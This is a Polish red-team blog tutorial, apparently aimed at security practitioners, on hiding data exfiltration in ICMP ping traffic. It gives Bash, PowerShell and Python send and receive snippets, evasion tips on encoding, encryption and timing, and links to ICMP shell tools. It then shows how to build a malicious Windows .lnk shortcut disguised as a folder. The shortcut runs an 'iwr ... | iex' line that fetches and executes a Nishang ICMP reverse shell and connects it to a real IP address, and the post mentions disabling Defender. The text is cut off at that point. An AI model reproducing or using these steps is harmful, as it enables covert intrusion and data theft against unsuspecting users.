&lt;figure class="align-center">
&lt;img loading="lazy" src="./twitter.png" alt="https://twitter.com/zh4ck/status/923110919344934912">
&lt;/figure>
&lt;h2>Eksfiltruj po ICMP!&lt;span class="hx:absolute hx:-mt-20" id="eksfiltruj-po-icmp">&lt;/span>
&lt;a href="#eksfiltruj-po-icmp" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Patrząc z perspektywy Czerwonych - jak w takim razie doprowadzić do eksfitracji danych?
Dobrze jest używać technik, które nie zdążyły jeszcze spowszednieć, bądź są stosunkowo ciężkie do zablokowania. Jedną z nich jest ruch odbywający się z użyciem protokołu &lt;a href="https://pl.wikipedia.org/wiki/Internet_Control_Message_Protocol"target="_blank" rel="noopener">ICMP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Nie wchodząc w szczegóły - protokół ICMP to popularne od zarania Internetu narzędzie służące do diagnostyki sieci (ping) i ustalanie tras pakietów (traceroute, mtr).&lt;/p>
&lt;p>W jaki sposób jest to przydatne / niebezpieczne? Otóż w protokole ICMP można przemycić dodatkowe dane, nawet z użyciem standardowego programu ping. To o tyle ciekawe medium, że ruch ICMP to coś, co spodziewamy się zobaczyć w sieci. Nie potrzeba definiować portu, poprzez który następuje komunikacja (do protokołu ICMP nie ma przypisanego portu TCP/UDP - gdyż nie odbywa się on w warstwie 3 (transportowej), ale 2 (internetowej) &lt;a href="https://pl.wikipedia.org/wiki/Model_TCP/IP"target="_blank" rel="noopener">modelu TCP/IP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>).&lt;/p>
&lt;p>W wielu miejscach również łatwo zapomnieć o blokadzie z pozoru niegroźnego ruchu ICMP. Raczej nie znajdzie się go dozwolonego na firewall&amp;rsquo;ach Internetowym poważniejszych firm, ale prawdopodobnie będzie on dozwolony w sieci wewnętrznej.&lt;/p>
&lt;p>Jak wygląda zwykły pakiet ICMP?&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./ping-packet.png" alt="ping packet picture">
&lt;/figure>
&lt;p>Jak widać, sam pakiet nie jest wielki i zawiera w sobie dane, które na tłumaczone na ASCII wyglądają jak losowe znaki. Warto zwrócić uwagę na filtr w tcpdump:&lt;/p>
&lt;ul>
&lt;li>&lt;code>icmp[icmptype] == 8&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>ICMP typu 8 to ICMP Echo request - zapytanie wysłane przez program PING, odpowiedzią na nie (tzw. PONG) jest ICMP Echo Reply (typ 0). To jedyne 2 typy wiadomości ICMP, używane przez program PING i dlatego tylko one będą nas interesować. Jak więc wygląda wysyłanie odbieranie danych po ICMP?&lt;/p>
&lt;p>Przykłady poniżej:&lt;/p>
&lt;h3>Bash&lt;span class="hx:absolute hx:-mt-20" id="bash">&lt;/span>
&lt;a href="#bash" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Wysyłaj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ping -p &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>xxd -pu &lt;span class="o">&amp;lt;&amp;lt;&amp;lt;&lt;/span> &lt;span class="s2">&amp;#34;hello&amp;#34;&lt;/span>&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> localhost
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Odbieraj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tcpdump -nni lo -e icmp&lt;span class="o">[&lt;/span>icmptype&lt;span class="o">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="m">8&lt;/span> -lA -s &lt;span class="m">0&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zwróćcie tutaj uwagę na argument po parametrze &lt;code>-i&lt;/code> - jest nim interfejs sieciowy &lt;code>lo&lt;/code>, czyli loopback.
Jest to wirtualny interfejs, który komputer wykorzystuje do rozmawiania z samym sobą. Tutaj będą trafiać zapytania na adres &lt;em>localhost / 127.0.0.1&lt;/em>. W przypadku zapytań z innego komputera trzeba wybrać interfejs sieciowy, który będzie je obsługiwał (eth0 / wlan0 / ens3 / en0 itd.).&lt;/p>
&lt;p>W przypadku interfejsu podpiętego do Internetu możliwe, że traficie tam na dużo zapytań z innych maszyn, które będą zaciemniać obraz, można je filtrować z użyciem filtrów tcpdumpa np.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">tcpdump -nni ens3 -e icmp&lt;span class="o">[&lt;/span>icmptype&lt;span class="o">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="m">8&lt;/span> and not net 167.114.37.1 -lA&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Powershell&lt;span class="hx:absolute hx:-mt-20" id="powershell">&lt;/span>
&lt;a href="#powershell" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Wysyłaj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$ICMPClient&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">Net&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">NetworkInformation&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">Ping&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$buff&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="p">([&lt;/span>&lt;span class="no">text.encoding&lt;/span>&lt;span class="p">]::&lt;/span>&lt;span class="n">ASCII&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="py">GetBytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;hello&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$ICMPClient&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">Send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;localhost&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mf">10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$buff&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="vm">$null&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">|&lt;/span> &lt;span class="nb">Out-Null&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Python&lt;span class="hx:absolute hx:-mt-20" id="python">&lt;/span>
&lt;a href="#python" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">## Odbieraj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">socket&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">listen&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">socket&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">AF_INET&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">SOCK_RAW&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IPPROTO_ICMP&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">setsockopt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">SOL_IP&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">socket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IP_HDRINCL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">addr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvfrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1508&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Packet from &lt;/span>&lt;span class="si">%r&lt;/span>&lt;span class="s2">: &lt;/span>&lt;span class="si">%r&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">addr&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">listen&lt;/span>&lt;span class="p">()&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Do stworzenia klienta ICMP z poziomu pythona oczywiście można wykorzystać wiele gotowych bibliotek takich jak np. pythonping. Niestety mają one jedną zasadniczą wadę nad wykorzystaniem basha lub powershella - wysłanie pakietu ICMP wymaga tam uprawnień administratora.&lt;/p>
&lt;p>Jest to jednak do obejścia natywnie, w samym pythonie, z trochę większą ilością kodu - dobrym przykładem jest skrypt dostępny &lt;a href="https://github.com/lilydjwg/winterpy/blob/master/pylib/icmplib.py"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który łatwo można dostosować by wysyłał również dodatkowe dane w pakiecie ICMP.&lt;/p>
&lt;h2>Dalej w las&lt;span class="hx:absolute hx:-mt-20" id="dalej-w-las">&lt;/span>
&lt;a href="#dalej-w-las" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jak widać samo wysłanie / otrzymanie informacji kanałem ICMP jest dosyć proste. Oczywiście, to tylko baza pod pełną komunikację. Jakie problemy czekają nas ze skryptami powyżej? Problemy każdej komunikacji:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Dzielenie pakietów - pojedynczy pakiet ICMP może zawierać co najwyżej 576 bajtów dodatkowych danych, dlatego każdy dłuższy String potrzebujemy podzielić, by wysłać go w wielu pakietach i składać informacje razem przy odbiorze.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Utrata pakietów - ICMP nie używa protokołu TCP, więc nie ma żadnej gwarancji, że pakiety dotrą na miejsce. Szybkim, lecz prymitywnym rozwiązaniem jest wysyłanie każdego pakietu kilkukrotnie, szczególnie gdy jako Czerwoni chcemy wyciągnąć trochę danych. Bardziej zaawansowanym rozwiązaniem, jest implementacja prostych kodów korekcyjnych i w razie błędu wysłanie pakietu jeszcze raz.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Wysyłanie danych czystym tekstem - jest to oczywiście łatwe do zauważenia podczas monitorowania sieci. Minimalną formą obfuskacji wysyłanych danych powinno być kodowanie danych (np. base64), a trudniejszą do wykrycia szyfrowanie danych (np. AES).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Zbędne dane - dane o pakiecie powinny być użyte tylko do kontroli poprawności danych. Przy większej ilości danych wyświetlanie ich użytkownikami wraz z danymi, jest zaśmiecaniem ekranu.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Spowalnianie pakietów - wszystkie pakiety wysłane na raz, mogą się wydać podejrzane. Z tego powodu chwila przerwy między pakietami może pozwolić łatwiej uniknąć wykrycia.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Oczywiście można je w ramach praktyki pokonać samemu, ale jak to bywa w Internecie, pojawia się wiele gotowych przykładów, które wystarczy przystosować na własny użytek. Poniżej kilka wartych wspomnienia przykładów:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/aptmasterclass/powershell-kungfu/tree/master/exfil"target="_blank" rel="noopener">Powershell - Wysłanie danych po ICMP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/samratashok/nishang/tree/master/Shells"target="_blank" rel="noopener">Powershell - zdalne linie komend po różnych protokołach (i dużo innego powershellowego dobra) &lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/interference-security/icmpsh"target="_blank" rel="noopener">Python / C / Perl - zdalna linia komend ICMP&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Taki komunikator po protokole ICMP nie musi służyć tylko do testowania zabezpieczeń (w dobrych lub niecnych zamiarach). Można go również użyć jako formy obejścia bezsensownych ograniczeń np. w &lt;a href="https://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/"target="_blank" rel="noopener">hotelowym wifi&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Trochę zabawy&lt;span class="hx:absolute hx:-mt-20" id="trochę-zabawy">&lt;/span>
&lt;a href="#troch%c4%99-zabawy" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Teraz by zademonstrować bardziej zaawansowane użycie, stwórzmy prostego wirusa, którego przemycimy w pliku Windowsowego skrótu (rozszerzenie .lnk). Taki plik po kliknięciu będzie uruchamiał zdalną linię komend po protokole ICMP, która połączy się z naszym serwerem.&lt;/p>
&lt;p>Dlaczego skrót windowsowy?&lt;/p>
&lt;ul>
&lt;li>Bo pozwala również na wykonywanie skryptów, jeśli zamiast docelowego folderu podamy plik powershell.exe lub cmd.exe z argumentami.&lt;/li>
&lt;li>Standardowy użytkownik może uruchomić skrót pobrany z Internetu ze znacznie mniejszą ilością ostrzeżeń niż np. plik exe&lt;/li>
&lt;li>Można mu przypisać dowolną ikonę, np. ikonę folderu, inny rodzaj pliku będzie sygnalizowała tylko mała strzałka w lewym dolnym rogu. W ten sposób łatwo go pomylić z folderem.&lt;/li>
&lt;/ul>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./win-lnk-properties.png" alt="properties win lnk">
&lt;/figure>
&lt;h3>Klient&lt;span class="hx:absolute hx:-mt-20" id="klient">&lt;/span>
&lt;a href="#klient" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>W ten sposób możemy wrzucić tam powershellowy skrypt, wspomniany wcześniej:
&lt;a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1"target="_blank" rel="noopener">https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Pole &lt;em>Target&lt;/em> skrótu ma ograniczoną pojemność, prawdopodobnie nie zmieści się tam żaden bardziej skomplikowany skrypt, ale też nie musi. Taki skrypt można pobrać np. bezpośrednio z githuba (choć lepiej w rzeczywistym użyciu postawić, na mniej podejrzane źródło). W powershellu będzie to wyglądało w ten sposób:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="nb">Invoke-WebRequest&lt;/span> &lt;span class="n">https&lt;/span>&lt;span class="err">:&lt;/span>&lt;span class="p">//&lt;/span>&lt;span class="n">raw&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">githubusercontent&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">com&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">samratashok&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">nishang&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">master&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">Shells&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="nb">Invoke-PowerShellIcmp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ps1&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="py">Content&lt;/span> &lt;span class="p">|&lt;/span> &lt;span class="nb">Invoke-Expression&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Z użyciem powershellowych aliasów na komendy - oszczędzajmy miejsce!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="nb">iwr &lt;/span>&lt;span class="n">https&lt;/span>&lt;span class="err">:&lt;/span>&lt;span class="p">//&lt;/span>&lt;span class="n">raw&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">githubusercontent&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">com&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">samratashok&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">nishang&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">master&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="n">Shells&lt;/span>&lt;span class="p">/&lt;/span>&lt;span class="nb">Invoke-PowerShellIcmp&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ps1&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="p">|&lt;/span>&lt;span class="n">iex&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;em>Invoke-WebRequest&lt;/em> pobiera zawartość strony, jest odpowiednikiem curl&amp;rsquo;a w powershellu. &lt;em>Invoke-Expression&lt;/em> wykonuje komendy powershellowe zawarte w napisie (Stringu) - w tym wypadku definicję funkcji &lt;em>Invoke-PowerShellIcmp&lt;/em>&lt;/p>
&lt;p>Kiedy definicja funkcji / modułu jest już załadowana, można jej używać w danym kontekście powershellowym:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">Invoke-PowerShellIcmp&lt;/span> &lt;span class="n">-IPAddress&lt;/span> &lt;span class="mf">51.37&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">175&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mf">232&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Niestety dla Czerwonych próba załadowania definicji funkcji z użyciem połączonych mocy &lt;em>Invoke-WebRequest&lt;/em> or &lt;em>Invoke-Expression&lt;/em> zostanie zablokowana przez funkcję &lt;em>Real Time Protection&lt;/em> Windows Defendera.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./malicious-content.png" alt="malicious content blocked">
&lt;/figure>
&lt;p>Możemy ją tymczasowo wyłączyć również przy użyciu powershella, ale wymaga to uprawnień administratora:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
